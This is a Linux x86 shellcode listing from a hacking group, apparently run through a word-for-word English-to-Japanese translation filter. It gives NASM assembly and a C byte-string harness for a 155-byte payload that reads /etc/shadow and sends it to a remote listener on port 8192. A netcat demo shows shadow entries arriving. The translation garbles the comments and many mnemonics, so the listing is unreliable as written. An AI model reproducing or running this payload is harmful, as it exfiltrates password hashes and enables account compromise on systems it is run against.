このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
; (C)oDed by 0in ; Dark-Coders Group 生産/産物s ; [Linux x86 connect 支援する&send&出口 /etc/影をつくる/尾行する 155 byte shellcode] ; >>>>>>>>>>>>>>>>>>>> www.dark-coders.pl <<<<<<<<<<<<<<<<<<<<<< ; 接触する: 0in[dot]email[at]gmail[dot]com ; Greetings to:die_Angel,suN8Hclf,m4r1usz,cOndemned ; 収集する: ; nasm -f elf shellcode.asm ; ld -o shellcode shellcode.o ; How it 作品!? ; (1st console) [root@13world]# ./shellcode ; (2nd console) 0in[~]%> nc -v -l -p 8192 ; (2nd console) ;関係 from 127.0.0.1:48820 ;root:[password here]:13896:::::: ;貯蔵所:x:0:::::: ;daemon:x:0:::::: ;mail:x:0:::::: ;ftp:x:0:::::: ;nobody:x:0:::::: ;dbus:!:13716:0:99999:7::: ;zer0in:[password here]:13716:0:99999:7::: ;avahi:!:13716:0:99999:7::: ;hal:!:13716:0:99999:7::: ;clamav:!:13735:0:99999:7::: ;fetchmail:!:13737:0:99999:7::: ;mysql:!:12072:0:99999:7::: ;postfix:!:13798:0:99999:7::: ;mpd:!:13828:0:99999:7::: ;nginx:!:13959:0:99999:7::: ;tomcat:!:14063:0:99999:7::: ;http:!:14075:0:99999:7::: ;snort:!:14075:0:99999:7::: ;The code (Assembler 見解/翻訳/版): Section .text 全世界の _start _start: ;open(とじ込み/提出する,O_RDONLY): xor ebx,ebx 押し進める byte 0x77 ;/etc/影をつくる/尾行する 押し進める word 0x6f64 押し進める 0x6168732f 押し進める 0x6374652f; ---------- mov ebx,esp ; first arg - filename xor ax,ax inc ax inc ax inc ax inc ax inc ax ; ax = 5 (O_RDONLY) int 0x80 mov ebx,eax ;read(とじ込み/提出する,buff,1222): xor ax,ax inc ax inc ax inc ax ; syscall id = 3 mov dx,1222 ; size to read 押し進める esp mov ecx,[esp] ; memory int 0x80 mov esi,eax ; とじ込み/提出する to ESI ;socket(PF_INET,SOCK_STREAM,IPPROTO_IP) xor ebx,ebx 押し進める ebx ;0 ; 3rd arg inc ebx 押し進める ebx ;1 ; 2nd arg inc ebx 押し進める ebx ;2 ; 1st arg ;socketcall() mov ax,1666 ;-------------- sub ax,1564 ;-------------- xor bx,bx ; socket() call id inc bx ;- - - - - - - - - mov ecx,esp ; socket() int 0x80 ; do it! pop ebx; (疑いを)晴らす mem ;connect(eax,struct server,16) ;16 - sizeof struct sockaddr mov edx, eax xor ebx,ebx xor ebx,ebx ; ebx = 0 - IP=0.0.0.0 (始める,決める EBX to ur IP) 押し進める ebx mov bx,1666 ; 鮮明度/定義 of struct sockaddr sub bx,1634 ;we cant stay 0x00 here (8192 PORT) 押し進める bx mov al, 2 ; 押し進める ax mov ecx, esp mov al, 16 押し進める eax 押し進める ecx 押し進める edx mov al, 102 mov bx,1666 sub bx,1663 ;--------------------------------- mov ecx, esp int 0x80 ; call connect mov ebx,eax ; socket to ebx ; Ok! so... ; Lets 令状 とじ込み/提出する to server and go 負かす/撃墜する! ;令状(socket,とじ込み/提出する,1222) pop ebx mov ax,1666 sub ax,1662 押し進める esi mov dx,16666 sub dx,15444 int 0x80 ;出口(1) : xor eax,eax ;---------- inc eax mov ebx,eax ;---------- int 0x80 ; do it! ;C: ; #含む <stdio.h> ; char shellcode[]="\x31\xdb" ; "\x6a\x77" ; "\x66\x68\x64\x6f" ; "\x68\x2f\x73\x68\x61" ; "\x68\x2f\x65\x74\x63" ; "\x89\xe3" ; "\x66\x31\xc0" ; "\x66\x40" ; "\x66\x40" ; "\x66\x40" ; "\x66\x40" ; "\x66\x40" ; "\xcd\x80" ; "\x89\xc3" ; "\x66\x31\xc0" ; "\x66\x40" ; "\x66\x40" ; "\x66\x40" ; "\x66\xba\xc6\x04" ; "\x54" ; "\x8b\x0c\x24" ; "\xcd\x80" ; "\x89\xc6" ; "\x31\xdb" ; "\x53" ; "\x43" ; "\x53" ; "\x43" ; "\x53" ; "\x66\xb8\x82\x06" ; "\x66\x2d\x1c\x06" ; "\x66\x31\xdb" ; "\x66\x43" ; "\x89\xe1" ; "\xcd\x80" ; "\x5b" ; "\x89\xc2" ; "\x31\xdb" ; "\x53" ; "\x66\xbb\x82\x06" ; "\x66\x81\xeb\x62\x06" ; "\x66\x53" ; "\xb0\x02" ; "\x66\x50" ; "\x89\xe1" ; "\xb0\x10" ; "\x50" ; "\x51" ; "\x52" ; "\xb0\x66" ; "\x66\xbb\x82\x06" ; "\x66\x81\xeb\x7f\x06" ; "\x89\xe1" ; "\xcd\x80" ; "\x89\xc3" ; "\x5b" ; "\x66\xb8\x82\x06" ; "\x66\x2d\x7e\x06" ; "\x56" ; "\x66\xba\x1a\x41" ; "\x66\x81\xea\x54\x3c" ; "\xcd\x80" ; "\x31\xc0" ; "\x40" ; "\x89\xc3" ; "\xcd\x80"; ; int main(int argc, char **argv) ; { ; int *ret; ; ret = (int *)&ret + 2; ; (*ret) = (int) shellcode; ; }